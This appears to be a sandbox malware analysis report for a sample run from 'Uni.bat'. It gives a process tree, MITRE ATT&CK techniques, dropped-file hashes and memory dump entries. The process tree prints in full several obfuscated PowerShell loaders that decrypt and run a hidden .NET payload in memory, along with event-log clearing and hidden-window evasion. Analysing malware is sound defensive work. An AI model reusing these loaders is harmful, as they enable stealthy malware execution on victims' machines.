      C:\Windows\system32\cmd.exe /S /D /c" echo function xdRlX($KTDcL){ $CaLon=[System.Security.Cryptography.Aes]::Create(); $CaLon.Mode=[System.Security.Cryptography.CipherMode]::CBC; $CaLon.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $CaLon.Key=[System.Convert]::('@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@'.Replace('@', ''))('JOX+UM6JbIY1yF72S/+QeLIiH1Y7UN6XYcEGrI97Wh8='); $CaLon.IV=[System.Convert]::('@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@'.Replace('@', ''))('NhUktSQTvDQPEO0kzXnzqg=='); $fphRh=$CaLon.('@C@r@e@a@t@e@D@e@c@r@y@p@t@o@r@'.Replace('@', ''))(); $Pklfc=$fphRh.('@T@r@a@n@s@f@o@r@m@F@i@n@a@l@B@l@o@c@k@'.Replace('@', ''))($KTDcL, 0, $KTDcL.Length); $fphRh.Dispose(); $CaLon.Dispose(); $Pklfc;}function aOhWH($KTDcL){ $QCcTi=New-Object System.IO.MemoryStream(,$KTDcL); $iJOfY=New-Object System.IO.MemoryStream; Invoke-Expression '$IDrbE @=@ @N@e@w@-@O@b@j@e@c@t@ @S@y@s@t@e@m@.@I@O@.@C@o@m@p@r@e@s@s@i@o@n@.@G@Z@i@p@S@t@r@e@a@m@(@$QCcTi,@ @[@I@O@.@C@o@m@p@r@e@s@s@i@o@n@.@C@o@m@p@r@e@s@s@i@o@n@M@o@d@e@]@:@:@D@e@c@o@m@p@r@e@s@s@)@;@'.Replace('@', ''); $IDrbE.CopyTo($iJOfY); $IDrbE.Dispose(); $QCcTi.Dispose(); $iJOfY.Dispose(); $iJOfY.ToArray();}function DIhvJ($KTDcL){ $Pklfc = [System.Convert]::('@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@'.Replace('@', ''))($KTDcL); $Pklfc = xdRlX($Pklfc); $Pklfc = [System.Text.Encoding]::('@U@T@F@8@'.Replace('@', '')).('@G@e@t@S@t@r@i@n@g@'.Replace('@', ''))($Pklfc); return $Pklfc;}function execute_function($KTDcL,$drOJu){ $OTBka = @( '$BLCrl = [System.Reflection.Assembly]::Load([byte[]]$KTDcL);', '$mzRuA = $BLCrl.EntryPoint;', '$mzRuA.Invoke($null, $drOJu);' ); foreach ($VICTV in $OTBka) { Invoke-Expression $VICTV };}$jCLuL = DIhvJ('kKvCaGY9yDPt45pjlJ5HTQ==');$gBGms = DIhvJ('3qVsmzePDU4y10a7a6mzmi/7Mk+TFKeA/wJUwmdcPGQ=');$Kcpma = DIhvJ('uldxysM3fyIvMU8obXTQhA==');$yuYsp = DIhvJ('dDqsaaMwfBgcHY1D5c++Lg==');if (@(get-process -ea silentlycontinue $yuYsp).count -gt 1) {exit};$RKgdw = [Microsoft.Win32.Registry]::('@L@o@c@a@l@M@a@c@h@i@n@e@'.Replace('@', '')).('@O@p@e@n@S@u@b@k@e@y@'.Replace('@', ''))($jCLuL).('@G@e@t@V@a@l@u@e@'.Replace('@', ''))($gBGms);$vENZq=aOhWH (xdRlX ([Convert]::('@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@'.Replace('@', ''))($RKgdw)));execute_function $vENZq (,[string[]] ($Kcpma)); "
      4⤵
      PID:3424
  - - C:\Windows\$sxr-powershell.exe
      C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass
      4⤵
      Executes dropped EXE
      Hide Artifacts: Hidden Window
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:5280
    - - C:\Windows\$sxr-cmd.exe
        
        "C:\Windows\$sxr-cmd.exe" /C echo [System.Diagnostics.Process]::GetProcessById(5280).WaitForExit();[System.Threading.Thread]::Sleep(5000); function xdRlX($KTDcL){ $CaLon=[System.Security.Cryptography.Aes]::Create(); $CaLon.Mode=[System.Security.Cryptography.CipherMode]::CBC; $CaLon.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $CaLon.Key=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('JOX+UM6JbIY1yF72S/+QeLIiH1Y7UN6XYcEGrI97Wh8='); $CaLon.IV=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('NhUktSQTvDQPEO0kzXnzqg=='); $fphRh=$CaLon.("@C@r@e@a@t@e@D@e@c@r@y@p@t@o@r@".Replace("@", ""))(); $Pklfc=$fphRh.("@T@r@a@n@s@f@o@r@m@F@i@n@a@l@B@l@o@c@k@".Replace("@", ""))($KTDcL, 0, $KTDcL.Length); $fphRh.Dispose(); $CaLon.Dispose(); $Pklfc;}function aOhWH($KTDcL){ $QCcTi=New-Object System.IO.MemoryStream(,$KTDcL); $iJOfY=New-Object System.IO.MemoryStream; Invoke-Expression '$IDrbE @=@ @N@e@w@-@O@b@j@e@c@t@ @S@y@s@t@e@m@.@I@O@.@C@o@m@p@r@e@s@s@i@o@n@.@G@Z@i@p@S@t@r@e@a@m@(@$QCcTi,@ @[@I@O@.@C@o@m@p@r@e@s@s@i@o@n@.@C@o@m@p@r@e@s@s@i@o@n@M@o@d@e@]@:@:@D@e@c@o@m@p@r@e@s@s@)@;@'.Replace('@', ''); $IDrbE.CopyTo($iJOfY); $IDrbE.Dispose(); $QCcTi.Dispose(); $iJOfY.Dispose(); $iJOfY.ToArray();}function DIhvJ($KTDcL){ $Pklfc = [System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))($KTDcL); $Pklfc = xdRlX($Pklfc); $Pklfc = [System.Text.Encoding]::("@U@T@F@8@".Replace("@", "")).("@G@e@t@S@t@r@i@n@g@".Replace("@", ""))($Pklfc); return $Pklfc;}function execute_function($KTDcL,$drOJu){ $OTBka = @( '$BLCrl = [System.Reflection.Assembly]::Load([byte[]]$KTDcL);', '$mzRuA = $BLCrl.EntryPoint;', '$mzRuA.Invoke($null, $drOJu);' ); foreach ($VICTV in $OTBka) { Invoke-Expression $VICTV };}$jCLuL = DIhvJ('kKvCaGY9yDPt45pjlJ5HTQ==');$gBGms = DIhvJ('3qVsmzePDU4y10a7a6mzmi/7Mk+TFKeA/wJUwmdcPGQ=');$Kcpma = DIhvJ('uldxysM3fyIvMU8obXTQhA==');$yuYsp = DIhvJ('dDqsaaMwfBgcHY1D5c++Lg==');if (@(get-process -ea silentlycontinue $yuYsp).count -gt 1) {exit};$RKgdw = [Microsoft.Win32.Registry]::("@L@o@c@a@l@M@a@c@h@i@n@e@".Replace("@", "")).("@O@p@e@n@S@u@b@k@e@y@".Replace("@", ""))($jCLuL).("@G@e@t@V@a@l@u@e@".Replace("@", ""))($gBGms);$vENZq=aOhWH (xdRlX ([Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))($RKgdw)));execute_function $vENZq (,[string[]] ($Kcpma)); | C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass > nul
        5⤵
        Executes dropped EXE
        Hide Artifacts: Hidden Window
        
        PID:5612
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo [System.Diagnostics.Process]::GetProcessById(5280).WaitForExit();[System.Threading.Thread]::Sleep(5000); function xdRlX($KTDcL){ $CaLon=[System.Security.Cryptography.Aes]::Create(); $CaLon.Mode=[System.Security.Cryptography.CipherMode]::CBC; $CaLon.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $CaLon.Key=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('JOX+UM6JbIY1yF72S/+QeLIiH1Y7UN6XYcEGrI97Wh8='); $CaLon.IV=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('NhUktSQTvDQPEO0kzXnzqg=='); $fphRh=$CaLon.("@C@r@e@a@t@e@D@e@c@r@y@p@t@o@r@".Replace("@", ""))(); $Pklfc=$fphRh.("@T@r@a@n@s@f@o@r@m@F@i@n@a@l@B@l@o@c@k@".Replace("@", ""))($KTDcL, 0, $KTDcL.Length); $fphRh.Dispose(); $CaLon.Dispose(); $Pklfc;}function aOhWH($KTDcL){ $QCcTi=New-Object System.IO.MemoryStream(,$KTDcL); $iJOfY=New-Object System.IO.MemoryStream; Invoke-Expression '$IDrbE @=@ @N@e@w@-@O@b@j@e@c@t@ @S@y@s@t@e@m@.@I@O@.@C@o@m@p@r@e@s@s@i@o@n@.@G@Z@i@p@S@t@r@e@a@m@(@$QCcTi,@ @[@I@O@.@C@o@m@p@r@e@s@s@i@o@n@.@C@o@m@p@r@e@s@s@i@o@n@M@o@d@e@]@:@:@D@e@c@o@m@p@r@e@s@s@)@;@'.Replace('@', ''); $IDrbE.CopyTo($iJOfY); $IDrbE.Dispose(); $QCcTi.Dispose(); $iJOfY.Dispose(); $iJOfY.ToArray();}function DIhvJ($KTDcL){ $Pklfc = [System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))($KTDcL); $Pklfc = xdRlX($Pklfc); $Pklfc = [System.Text.Encoding]::("@U@T@F@8@".Replace("@", "")).("@G@e@t@S@t@r@i@n@g@".Replace("@", ""))($Pklfc); return $Pklfc;}function execute_function($KTDcL,$drOJu){ $OTBka = @( '$BLCrl = [System.Reflection.Assembly]::Load([byte[]]$KTDcL);', '$mzRuA = $BLCrl.EntryPoint;', '$mzRuA.Invoke($null, $drOJu);' ); foreach ($VICTV in $OTBka) { Invoke-Expression $VICTV };}$jCLuL = DIhvJ('kKvCaGY9yDPt45pjlJ5HTQ==');$gBGms = DIhvJ('3qVsmzePDU4y10a7a6mzmi/7Mk+TFKeA/wJUwmdcPGQ=');$Kcpma = DIhvJ('uldxysM3fyIvMU8obXTQhA==');$yuYsp = DIhvJ('dDqsaaMwfBgcHY1D5c++Lg==');if (@(get-process -ea silentlycontinue $yuYsp).count -gt 1) {exit};$RKgdw = [Microsoft.Win32.Registry]::("@L@o@c@a@l@M@a@c@h@i@n@e@".Replace("@", "")).("@O@p@e@n@S@u@b@k@e@y@".Replace("@", ""))($jCLuL).("@G@e@t@V@a@l@u@e@".Replace("@", ""))($gBGms);$vENZq=aOhWH (xdRlX ([Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))($RKgdw)));execute_function $vENZq (,[string[]] ($Kcpma)); "
        6⤵
        
        PID:3544
      - C:\Windows\$sxr-powershell.exe
        
        C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass
        6⤵
        Executes dropped EXE
        Hide Artifacts: Hidden Window
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5288

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1240

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
1⤵
PID:1252

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1268

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
1⤵
PID:1404

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1412

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1484

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1564

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1620
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2340

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1680

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1704

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1824

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1888

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:1924

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1944

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1984

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1992

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2004

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1508

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1920

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2120

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2176

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2552

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2560

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:2572

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2592

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2680

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
PID:2692

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2708

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2868

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2660

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:3112
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Uni.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5944
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3256
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo function cvuMK($VGXKO){ $wOCyE=[System.Security.Cryptography.Aes]::Create(); $wOCyE.Mode=[System.Security.Cryptography.CipherMode]::CBC; $wOCyE.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $wOCyE.Key=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('5KGJlsdfs2K1GuioC+Ca7Za317OVrfOuGA7DysBetto='); $wOCyE.IV=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('7CEVBwPI/sJTgJo/6LvX3g=='); $hRIvH=$wOCyE.CreateDecryptor(); $return_var=$hRIvH.TransformFinalBlock($VGXKO, 0, $VGXKO.Length); $hRIvH.Dispose(); $wOCyE.Dispose(); $return_var;}function aFYfA($VGXKO){ $xalqg=New-Object System.IO.MemoryStream(,$VGXKO); $bkSwW=New-Object System.IO.MemoryStream; Invoke-Expression '$VwiEs #=# #N#e#w#-#O#b#j#e#c#t# #S#y#s#t#e#m#.#I#O#.#C#o#m#p#r#e#s#s#i#o#n#.#G#Z#i#p#S#t#r#e#a#m#(#$xalqg,# #[#I#O#.#C#o#m#p#r#e#s#s#i#o#n#.#C#o#m#p#r#e#s#s#i#o#n#M#o#d#e#]#:#:#D#e#c#o#m#p#r#e#s#s#)#;#'.Replace('#', ''); $VwiEs.CopyTo($bkSwW); $VwiEs.Dispose(); $xalqg.Dispose(); $bkSwW.Dispose(); $bkSwW.ToArray();}function pUtVz($VGXKO,$qWaic){ $GvCxN = @( '$dSXpA = [System.Reflection.Assembly]::("@L@o@a@d@".Replace("@", ""))([byte[]]$VGXKO);', '$hGKSO = $dSXpA.EntryPoint;', '$hGKSO.Invoke($null, $qWaic);' ); foreach ($vytyl in $GvCxN) { Invoke-Expression $vytyl };}$KjwpV=[System.IO.File]::("@R@e@a@d@A@l@l@T@e@x@t@".Replace("@", ""))('C:\Users\Admin\AppData\Local\Temp\Uni.bat').Split([Environment]::NewLine);foreach ($tCDEi in $KjwpV) { if ($tCDEi.StartsWith('SEROXEN')) { $iFwPA=$tCDEi.Substring(7); break; }}$uniIF=aFYfA (cvuMK ([Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))($iFwPA)));pUtVz $uniIF (,[string[]] ('C:\Users\Admin\AppData\Local\Temp\Uni.bat')); "
    3⤵
    PID:788
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass -noprofile -windowstyle hidden
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Deletes itself
    - Impair Defenses: Safe Mode Boot
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4972

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3232

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:3288

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3608

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3660

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
1⤵
PID:3712

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3784

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
1⤵
PID:3988

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
1⤵
PID:4100

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:6036

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:4656

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:5776

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:1912

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:3512

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:2772

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:5184

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:2756

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:3120

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:2516

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Window

T1564.003

Impair Defenses

T1562

Safe Mode Boot

T1562.009

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 62KB
SHA256 b48eb9b8637997d1ce301af35ea735e9ec4a5de53ee7e05ce8e6ae495db55803
MD5 440cb5ad5a9459f933dc5043c2ac6521
SHA1 0a7c46086a5089f6e5e7947a0eab5c5593d06d44
SHA512 6ba55fa604c78c7b12255626d264dd03afa8e66ab57f6fea6703a2a7d3b9b9693771124ccea826ad3c31fae4a9508b967fd4229e4744c3264105bff63698d3cd
SSDEEP 1536:LflJd+h4iUxUYyYkzvHgfKQaUpeE711kDa5ljNC+jH0IMjMXYo3Xi3j39MVvjBMy:LflJd+qiUUYyYkzvHgfKQaUpeE711kDa
TLSH
T153537392E9204E75E2A65F3EF15622627D30394690F8113212DC25EFA987D930B1F7FE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_oqki2yjp.gqs.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_oqki2yjp.gqs.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

$sxr-cmd.exe

Path C:\Windows\$sxr-cmd.exe
Size 324KB
SHA256 f6c9532e1f4b66be96f0f56bd7c3a3c1997ea8066b91bfcc984e41f072c347ba
MD5 c5db7b712f280c3ae4f731ad7d5ea171
SHA1 e8717ff0d40e01fd3b06de2aa5a401bed1c907cc
SHA512 bceaf7dc30f2c99b40b7025a5eb063f3131a1ef9349fdf356720eaef838bcf58ce3d5e3bad9459ddd2f872df430bdb66a766a5acff5d3bbc738eba8945cb0a89
SSDEEP 6144:wh6/6DOyYSltqYDQjHpUWIcz5ROTOhM111uq9iRUaaUga4m1:p/6yL4qfjHpUBKfAO61Tb494
TLSH
T1EC64495E639828E5E927913DC903C121D6B23C35632192EF12D0CD7B7F63AE97A39B05
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

$sxr-mshta.exe

Path C:\Windows\$sxr-mshta.exe
Size 32KB
SHA256 4ed8a115fa1dcfd532397b800775c1b54d2d407b52118b5423e94ff1ce855d7e
MD5 356e04e106f6987a19938df67dea0b76
SHA1 f2fd7cde5f97427e497dfb07b7f682149dc896fb
SHA512 df1c655fa3a95e001084af8c3aa97c54dbcb690210e1353dd836702cfb4af3c857449df62aa62d7ab525ffb4e0dc1552181dfcdee2c28f4af5c20df6d95811cd
SSDEEP 192:FXr2qjWSWvrCpspQlu/ZwvdlC5EY/S99PXWwKLIR:FXFL0WpsdZdY9/WwK
TLSH
T12DE2D686B35744BAED2E4235446B4645A235BD210B112BFF30B0B67E2F32BD2BD32794
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

$sxr-powershell.exe

Path C:\Windows\$sxr-powershell.exe
Size 440KB
SHA256 c7d4e119149a7150b7101a4bd9fffbf659fba76d058f7bf6cc73c99fb36e8221
MD5 0e9ccd796e251916133392539572a374
SHA1 eee0b7e9fdb295ea97c5f2e7c7ba3ac7f4085204
SHA512 e15c3696e2c96874242d3b0731ce0c790387ccce9a83a19634aed4d1efef72ce8b8fa683069950d652b16cd8d5e9daae9910df6d0a75cb74fdbe90ae5186765d
SSDEEP 6144:OuI3gVwnnSIonp/DWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzJ:ewzIoFW2KXzJ4pdd3klnnWosPhnzq
TLSH
T191A45A876B9412D1EC3EC035D82744520721BCBED791A7EF99D8F2390E712D0993EA6B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/400-87-0x00007FFCF8DD0000-0x00007FFCF8DE0000-memory.dmp

Download

memory/644-77-0x000001F923EA0000-0x000001F923F40000-memory.dmp

Download

memory/644-78-0x00007FFCF8DD0000-0x00007FFCF8DE0000-memory.dmp

Download

memory/688-90-0x00007FFCF8DD0000-0x00007FFCF8DE0000-memory.dmp

Download

memory/700-81-0x00007FFCF8DD0000-0x00007FFCF8DE0000-memory.dmp

Download

memory/904-84-0x00007FFCF8DD0000-0x00007FFCF8DE0000-memory.dmp

Download

memory/1004-93-0x00007FFCF8DD0000-0x00007FFCF8DE0000-memory.dmp

Download

memory/1032-96-0x00007FFCF8DD0000-0x00007FFCF8DE0000-memory.dmp

Download

memory/1116-99-0x00007FFCF8DD0000-0x00007FFCF8DE0000-memory.dmp

Download

memory/1204-102-0x00007FFCF8DD0000-0x00007FFCF8DE0000-memory.dmp

Download

memory/1240-105-0x00007FFCF8DD0000-0x00007FFCF8DE0000-memory.dmp

Download

memory/1252-108-0x00007FFCF8DD0000-0x00007FFCF8DE0000-memory.dmp

Download

memory/1268-115-0x00007FFCF8DD0000-0x00007FFCF8DE0000-memory.dmp

Download

memory/1404-118-0x00007FFCF8DD0000-0x00007FFCF8DE0000-memory.dmp

Download

memory/1412-121-0x00007FFCF8DD0000-0x00007FFCF8DE0000-memory.dmp

Download

memory/1484-124-0x00007FFCF8DD0000-0x00007FFCF8DE0000-memory.dmp

Download

memory/1508-160-0x00007FFCF8DD0000-0x00007FFCF8DE0000-memory.dmp

Download

memory/1564-127-0x00007FFCF8DD0000-0x00007FFCF8DE0000-memory.dmp

Download

memory/1620-130-0x00007FFCF8DD0000-0x00007FFCF8DE0000-memory.dmp

Download

memory/1680-133-0x00007FFCF8DD0000-0x00007FFCF8DE0000-memory.dmp

Download

memory/1704-136-0x00007FFCF8DD0000-0x00007FFCF8DE0000-memory.dmp

Download

memory/1824-139-0x00007FFCF8DD0000-0x00007FFCF8DE0000-memory.dmp

Download

memory/1888-142-0x00007FFCF8DD0000-0x00007FFCF8DE0000-memory.dmp

Download

memory/1912-238-0x00007FFCF8DD0000-0x00007FFCF8DE0000-memory.dmp

Download

memory/1920-163-0x00007FFCF8DD0000-0x00007FFCF8DE0000-memory.dmp

Download

memory/1924-145-0x00007FFCF8DD0000-0x00007FFCF8DE0000-memory.dmp

Download

memory/1944-148-0x00007FFCF8DD0000-0x00007FFCF8DE0000-memory.dmp

Download

memory/1984-151-0x00007FFCF8DD0000-0x00007FFCF8DE0000-memory.dmp

Download

memory/1992-154-0x00007FFCF8DD0000-0x00007FFCF8DE0000-memory.dmp

Download

memory/2004-157-0x00007FFCF8DD0000-0x00007FFCF8DE0000-memory.dmp

Download

memory/2120-166-0x00007FFCF8DD0000-0x00007FFCF8DE0000-memory.dmp

Download

memory/2176-169-0x00007FFCF8DD0000-0x00007FFCF8DE0000-memory.dmp

Download

memory/2340-196-0x00007FFCF8DD0000-0x00007FFCF8DE0000-memory.dmp

Download

memory/2552-172-0x00007FFCF8DD0000-0x00007FFCF8DE0000-memory.dmp

Download

memory/2560-175-0x00007FFCF8DD0000-0x00007FFCF8DE0000-memory.dmp

Download

memory/2572-178-0x00007FFCF8DD0000-0x00007FFCF8DE0000-memory.dmp

Download

memory/2592-181-0x00007FFCF8DD0000-0x00007FFCF8DE0000-memory.dmp

Download

memory/2660-199-0x00007FFCF8DD0000-0x00007FFCF8DE0000-memory.dmp

Download

memory/2680-184-0x00007FFCF8DD0000-0x00007FFCF8DE0000-memory.dmp

Download

memory/2692-187-0x00007FFCF8DD0000-0x00007FFCF8DE0000-memory.dmp

Download

memory/2708-190-0x00007FFCF8DD0000-0x00007FFCF8DE0000-memory.dmp

Download

memory/2868-193-0x00007FFCF8DD0000-0x00007FFCF8DE0000-memory.dmp

Download

memory/3112-202-0x00007FFCF8DD0000-0x00007FFCF8DE0000-memory.dmp

Download

memory/3232-205-0x00007FFCF8DD0000-0x00007FFCF8DE0000-memory.dmp

Download

memory/3288-208-0x00007FFCF8DD0000-0x00007FFCF8DE0000-memory.dmp

Download

memory/3608-211-0x00007FFCF8DD0000-0x00007FFCF8DE0000-memory.dmp

Download

